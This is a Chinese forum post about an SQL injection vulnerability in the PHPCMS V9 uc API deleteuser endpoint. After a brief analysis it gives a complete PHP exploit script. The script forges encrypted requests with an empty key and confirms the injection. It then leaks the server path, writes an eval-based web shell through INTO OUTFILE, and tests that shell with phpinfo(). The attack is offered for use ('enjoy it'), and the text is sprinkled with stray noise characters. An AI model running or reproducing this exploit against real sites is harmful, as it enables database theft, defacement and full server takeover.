找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1955|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。0 ?4 y0 Z" ^: h% c
( q5 o, j7 D' m; @3 h! _
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。9 n9 f, I+ V1 j0 x
. j: X3 P, Q2 u+ O. s
漏洞分析:
6 Q  O7 z2 ]/ g4 |  k! W/ ^1.未启用ucenter服务的情况下uc_key为空8 U* i0 y5 A; Y! \+ F% a
define('UC_KEY', pc_base::load_config('system', 'uc_key'));2 T# ^3 J1 d! @! [4 o9 _% U4 W/ z
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。, a; G$ Z# M9 K. R3 t% A6 J- X# x
    public function deleteuser($get,$post) {6 t. Z8 E/ n  M7 M; R( U
        pc_base::load_app_func('global', 'admin');
) i& t# o7 n2 Z$ q+ Q3 N        pc_base::load_app_class('messagequeue', 'admin' , 0);) r) w* M6 K: u. C. a7 m
        $ids = new_stripslashes($get['ids']);( ?" t7 N. ^9 _
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");/ q9 |& S2 y  @6 |$ Z
SQL语句为* |: n4 }) c2 \1 D
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)0 S5 K0 A/ I/ j

6 l: p) K: D6 W0 b2 C& v- p利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
5 N0 E0 w# _+ v: L& U/ ?<?php( k# B, ]8 @9 T8 ?' l5 @
print_r('
7 B4 R; G0 e. u% K---------------------------------------------------------------------------
. @) f2 A( X' c: L& }' mPHPcms (v9 or Old Version) uc api sql injection 0day
/ e4 w  A8 F# X- ^) hby rayh4c#80sec.com$ |% }; \1 b5 y0 @; w' {
---------------------------------------------------------------------------- x  M3 I* T/ W6 K# Z% {4 t% Y! m& u
');* x; e! W6 p( s& J0 w

5 e- i- s' L2 ?$ W) J7 b# Bif ($argc<3) {
& \& @. j! }5 n; F' h    print_r('
! k5 ~% N8 T9 c8 B1 v. l. K---------------------------------------------------------------------------4 }8 `/ t$ d; A% N3 J# m- o
Usage: php '.$argv[0].' host path OPTIONS: r; V2 h9 f. u
host:      target server (ip/hostname)4 v+ {, A) c( f/ J- h. D
path:      path to phpcms
7 B1 f$ Y+ Y  g6 c+ b( Q4 jOptions:4 g! q! j# p" g) r' C& l, T( x: C
-p[port]:    specify a port other than 80
( o+ D3 K/ W* S* M -P[ip:port]: specify a proxy& o3 U) J+ M1 [# c
Example:
4 e% f3 H/ c- E3 j0 h* d5 T; e3 aphp '.$argv[0].' localhost /; s( O8 {9 E% ]+ N- B
php '.$argv[0].' localhost /phpcms/ -p81
8 y# D3 |7 c6 n1 a1 F0 k& \php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80  J0 d: y$ E' p0 g# ^1 o
---------------------------------------------------------------------------6 o$ s- M' Y- M% ?; z
');
4 Q' G( b+ a5 f7 R4 \    die;* ?# ?3 |2 x" O- u  e* P
}" G% I# |: k: b9 t( \9 v
8 }: C% |( w+ c# I# Z( v$ h. J
error_reporting(7);
& d5 @6 \6 T. c  n  gini_set("max_execution_time",0);3 v# U+ i7 q' S& A: y$ T7 M
ini_set("default_socket_timeout",5);
/ r# ~7 }: N5 N/ o. K: ?
0 [) D1 {5 |, x3 }$ k% ^function quick_dump($string)5 s5 Z6 ^9 Z" |
{
: J" R" h/ T- Q; n  $result='';$exa='';$cont=0;$ {( I* H5 ?) u6 L9 Q
  for ($i=0; $i<=strlen($string)-1; $i++)8 J: e- N/ l$ V5 `* \
  {
! b8 g/ A  l- _5 h" i   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
2 k( j/ {/ P* a6 g, f* }9 V0 a   {$result.="  .";}: r9 B# T  l, o) c) T
   else
0 }4 |& v* x2 B( c' V. s   {$result.="  ".$string[$i];}8 U5 _7 V: _% R# y, |
   if (strlen(dechex(ord($string[$i])))==2)+ _2 D, I. u5 H2 l; o( A) I
   {$exa.=" ".dechex(ord($string[$i]));}
, X6 |6 E# I4 v/ ~9 r   else
/ s# Z* O0 F* v6 t( ~   {$exa.=" 0".dechex(ord($string[$i]));}2 _' C, w% f% H( h9 \0 T7 U. A
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
0 E% h* J2 N7 J" ]2 w( u* k  }
  x3 Z8 c/ J. C0 x; V7 s, f2 @ return $exa."\r\n".$result;% z" s6 R  _2 O7 L* u6 j
}
8 c' [7 q& q% V! d0 E& n- k$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';' o' v5 a1 Y9 w# m+ K1 {( X

$ y0 c6 b/ b) vfunction send($packet)/ v5 _7 l( H; t
{
9 n6 A+ r* f/ }. X9 G  global $proxy, $host, $port, $html, $proxy_regex;) S$ }8 \. s, @3 y
  if ($proxy=='') {
" E4 v4 |0 T, y9 V7 N    $ock=fsockopen(gethostbyname($host),$port);: P$ c" F6 Z3 q/ d9 H7 ~6 s
    if (!$ock) {
( c# G+ P4 Z' c3 {9 @      echo 'No response from '.$host.':'.$port; die;
% r) ^- p9 {( `: P' v+ R* E8 A    }  V$ l0 J1 x3 I4 [$ ~
  }5 g# `/ |1 |# J! |) X
  else {
3 x. J/ ^0 U/ T1 W9 M7 Q        $c = preg_match($proxy_regex,$proxy);
) \, I0 I* N3 t; C3 {    if (!$c) {- n6 J6 C. U: {' d6 V5 U: L
      echo 'Not a valid proxy...';die;
6 S" H  B, H. G# Y    }( \& G2 E! a) J7 b0 _. G
    $parts=explode(':',$proxy);8 Q) ?1 B- R) f8 ]
    $parts[1]=(int)$parts[1];" y( S) a4 f. G( @+ l
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";; M3 i# c% ~4 W  j" {  T% H' E
    $ock=fsockopen($parts[0],$parts[1]);
$ ]: ^* u$ B' d% \6 Z4 [" p    if (!$ock) {4 f4 R% f! b# K+ z
      echo 'No response from proxy...';die;% U8 M1 {# e1 K  m( f
        }
; K* T3 O, ~/ T/ Y; ]! L4 Z  }$ }+ i1 i0 o5 U: m1 D' e- Q$ k: [
  fputs($ock,$packet);
% W. o( \7 t0 w, T  if ($proxy=='') {1 G" `1 S2 `0 \  c4 r  i$ c/ H
    $html='';
  X* D5 M0 Y, ~4 ]. O9 ~( w    while (!feof($ock)) {
0 Q5 K3 ]. _$ W3 t, Z* U. O, W+ ^      $html.=fgets($ock);# O9 g! T! W/ l6 }" ?9 Q* H. m7 U
    }8 k* `* o2 m  \! H1 d0 W
  }
& H1 R( w6 d/ e+ A$ {* Y& O  else {
4 |6 ~9 G4 s% U5 g  D    $html='';
9 M$ o( f; T% X0 a- c- \! z" {    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
1 n7 `( X- b+ o/ B) ^      $html.=fread($ock,1);7 K% U( |3 P  J8 V8 ^
    }2 ]+ b  b2 C# L5 v9 D2 D* i
  }# e' o# W2 Y) G. K% d0 a* K$ L1 O/ Y
  fclose($ock);
. s4 e: G- Q( r' u0 h: N}
: D# w, Q- E" R# f" e# }
0 i) B* q4 `  Y- h+ `$host=$argv[1];
, p0 X/ L" r% e& e! Q4 ~$path=$argv[2];
+ _& w% @& _" E  J$port=80;
1 h! g4 T" a  n# J- K9 o9 _$proxy="";( ]- W3 O- h* z5 O# m* B) D! Q
for ($i=3; $i<$argc; $i++){
. M$ @0 Q% L9 E  ]5 Q% U) T$temp=$argv[$i][0].$argv[$i][1];
3 `7 ]  t" g# {if ($temp=="-p")
; @8 C# A! e! Z( ~{8 ?- N0 j9 V( Z$ ^" z. l
  $port=(int)str_replace("-p","",$argv[$i]);
+ V+ C- e! J+ W  ]5 S& `" e# c}9 b; t3 J9 ]4 `% a; i
if ($temp=="-P")" O) G# x3 s8 \8 d9 Y- E0 z
{
% _) _; T1 F8 _  F  $proxy=str_replace("-P","",$argv[$i]);
0 J$ s2 S9 _$ D: j" B- y5 S7 u# F}* b, w5 b! D$ Z, Q1 `6 C
}
* _& N* V4 m3 L0 d" c4 T5 k  f. [7 y. T4 X9 R, A/ k
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
/ |5 F! `2 G4 z" A6 s, q+ _4 y. K8 vif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}9 \  o: e6 k$ ^8 L/ s, x) {
; d3 V* e. b2 f/ U
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
6 L" M  p. d! C7 W: K# ]$ ]# ^3 a' J
1 A2 M5 M' n* m9 O3 ~. Y    $ckey_length = 4;
8 z4 s: H3 \$ h; @7 l; g+ L- {
; J3 o0 T( D4 m( a8 t    $key = md5($key ? $key : '');
: t% P( ?+ i, R/ m. _0 L/ W5 `* S    $keya = md5(substr($key, 0, 16));5 f6 p* E$ d6 Y9 ~# C
    $keyb = md5(substr($key, 16, 16));
  U6 _. @% d' C  a* N4 Y5 R* d    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
: m7 B7 H/ V' B0 a& e+ P! }  v: f& J+ j* _8 P( ]/ c% o+ m( j
    $cryptkey = $keya.md5($keya.$keyc);
1 M: Y4 g# E" A; a- `  [- I    $key_length = strlen($cryptkey);0 w8 n+ y- F! I1 ^! |3 k0 }
% B2 K+ k" }5 G- z0 Q
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
: O- O3 x* V7 J' c4 k/ Q& h  h: L% {0 l    $string_length = strlen($string);( g8 @! P* b+ A$ D# l# ]4 ~2 f

' k" B' P7 c& U5 h& U; ~    $result = '';
9 H& V6 t" i' J/ n. C    $box = range(0, 255);
3 ^8 g7 {& P+ |9 Q1 N) y
# r9 V# o; H4 c    $rndkey = array();
/ @; S" L6 ?; J2 m# e- Y* t    for($i = 0; $i <= 255; $i++) {
! V( K& E9 H* T        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
& _/ K$ g! f# O! f& j% Z$ n9 h3 z    }: b9 q# g9 t7 a$ u

( j/ ]: r) o# N: V; l1 k    for($j = $i = 0; $i < 256; $i++) {0 T6 K! y7 U) u
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;7 X. q4 d# G2 @( \9 M
        $tmp = $box[$i];7 K3 V9 z" d$ l
        $box[$i] = $box[$j];6 B2 [4 w( g3 c5 @2 g
        $box[$j] = $tmp;
- e8 q& b* a  [* O, t# V    }# p' h: D' w( l
+ ^# M" o6 e4 X/ G
    for($a = $j = $i = 0; $i < $string_length; $i++) {
/ D$ D" O- u9 _1 V0 {/ r        $a = ($a + 1) % 256;
6 K0 r9 ~( A7 e, I/ J1 C        $j = ($j + $box[$a]) % 256;" ]& E9 |/ c  I; |* Q# c; m
        $tmp = $box[$a];5 h  Z2 f' `: `1 a2 n) Z; I
        $box[$a] = $box[$j];! N$ g, a& h7 \
        $box[$j] = $tmp;
% n( |) ^" G) ~, I& m        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
* V8 ]: k8 k% V: q* C0 Z# S    }
; U( [" m5 f; Z' D! m! B! G( V+ Y. d9 T* r5 }! d; V  P& P0 _! S
    if($operation == 'DECODE') {
9 U2 |5 n8 h/ b, A6 P        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {: X' G6 i* H7 J5 M: [) T
            return substr($result, 26);+ c1 A3 m; \; p2 w. Y1 p: Y1 L
        } else {
2 _7 i, c# {8 K6 S( N6 P            return '';
* _( b0 s/ A7 q& v  L6 `0 [; e        }
  F& \: }6 j% K$ f1 a6 W4 C  P    } else {, i- r$ V/ @$ J& c4 u. W7 G1 V
        return $keyc.str_replace('=', '', base64_encode($result));1 b% r7 c) G, `' \7 k- d, C
    }% g5 p" ^6 g5 z8 Z7 Y- O7 {

. M9 C( Z% R- L. |# @5 h# ^) x7 q}4 o9 F# f" [6 m# U5 |1 b# e9 K6 Z

5 a) F/ E% N+ x5 V+ [: Z$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";" z* f- u6 z& y9 r0 ?5 ~
$SQL = urlencode(authcode($SQL, "ENCODE", ""));' R2 o, M; G/ B) z, k( q8 h
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
4 J4 ^" l$ S- H4 [( R$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";/ T" _  m% j4 Z9 z& d( }7 k8 Z& r
$packet.="User-Agent: Mozilla/5.0\r\n";
7 e5 K2 {0 {/ w' O$packet.="Host: ".$host."\r\n";
. D  y% _: ^  f1 E3 c% {3 _$packet.="Connection: Close\r\n\r\n";
4 `9 Y, J' L( j2 C% Z1 jsend($packet);
$ x+ ?( ~) ^% ^; U  R! Bif(strpos($html,"MySQL Errno") > 0){" j3 o: c3 j0 l( j8 N
echo "[2] 发现存在SQL注入漏洞"."\n";
8 O; d0 K$ W/ W( Fecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";" ~! Z1 X/ h; `# a4 _3 `
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
0 N" G4 B: `( x9 W$packet.="User-Agent: Mozilla/5.0\r\n";
4 u) ]8 z! r! b! k$packet.="Host: ".$host."\r\n";- ?' l/ u- p7 y
$packet.="Connection: Close\r\n\r\n";
+ n& X2 f: y  }8 b- L" Lsend($packet);
' D6 x+ }  B2 H! ~preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);) }, j# s9 n: x9 }& _
//print_r($matches);9 E2 Q7 N& X5 N; ?9 f, j( b
if(!empty($matches)){
3 l- I' D: \) C4 Aecho "[4] 得到web路径 " . $matches[0]."\n";6 h4 X! M4 Q" m3 Y
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
  x2 z! ~! [" Y5 ~1 z% i9 A$SQL = "time=999999999999999999999999&ids=1)";
+ v$ a' s% m' w- {$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
3 }- b, @9 e8 u6 \' J( n$SQL.="&action=deleteuser";
. ^) [5 h/ E7 Y9 b$SQL = urlencode(authcode($SQL, "ENCODE", ""));& B2 O: H4 N" y2 c2 m/ a. e' s! w
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
% h* S8 D. i% z$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";: L* ?8 n, R1 O7 k! l3 V) q- Y* T' a
$packet.="User-Agent: Mozilla/5.0\r\n";
# U7 _3 s) H- D$packet.="Host: ".$host."\r\n";) A4 b, N1 z  |5 g4 |1 k/ }
$packet.="Connection: Close\r\n\r\n";7 d! u5 ^) @/ r# B+ C
send($packet);
: a; A$ B  k0 m7 F, Oif(strpos($html,"Access denied") > 0){
* G( L4 q4 Y6 Z+ Decho "[-] MYSQL权限过低 禁止写入文件 ";
5 Q* K1 e/ T( ?% ndie;
' e0 H" C; t4 p" P5 S, n- T8 C}
7 |  F$ I* D' |$ T$ x. Y8 \echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";3 m4 r& ^% d0 d: ]
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";& u2 r7 t, |9 p* L; I. I( T
$packet.="User-Agent: Mozilla/5.0\r\n";
/ h6 n. s0 M/ W3 J$packet.="Host: ".$host."\r\n";- d* V* H! k6 Q! {& ~! r
$packet.="Connection: Close\r\n\r\n";
6 `5 L: [6 W: E7 ]: csend($packet);& @5 {/ t$ ~. @0 B
if(strpos($html,"<title>phpinfo()</title>") > 0){
6 o0 L5 z% j7 |( recho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
$ t1 k9 E0 E3 Y6 c% B, i9 i# D7 `}
" j8 u1 l4 D, d' A* @0 h. E# A}else{
7 d( a+ [; ^2 z$ h1 f& L! Cecho "[-]未取到web路径 ";
( ^  {6 Z% p" e: X% j$ S  q$ ?}
; M: i7 O7 p$ e! e/ h}else{
+ _$ p% b( k  Y* f: necho "[*]不存在SQL注入漏洞"."\n";
' Y: C7 W1 Z# T; b( H}
8 t5 T; x; [3 n9 k2 e6 b: }% l6 n  e2 x  l2 V. W* S0 Y" `4 m
?>' I/ x$ @) e" u$ d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表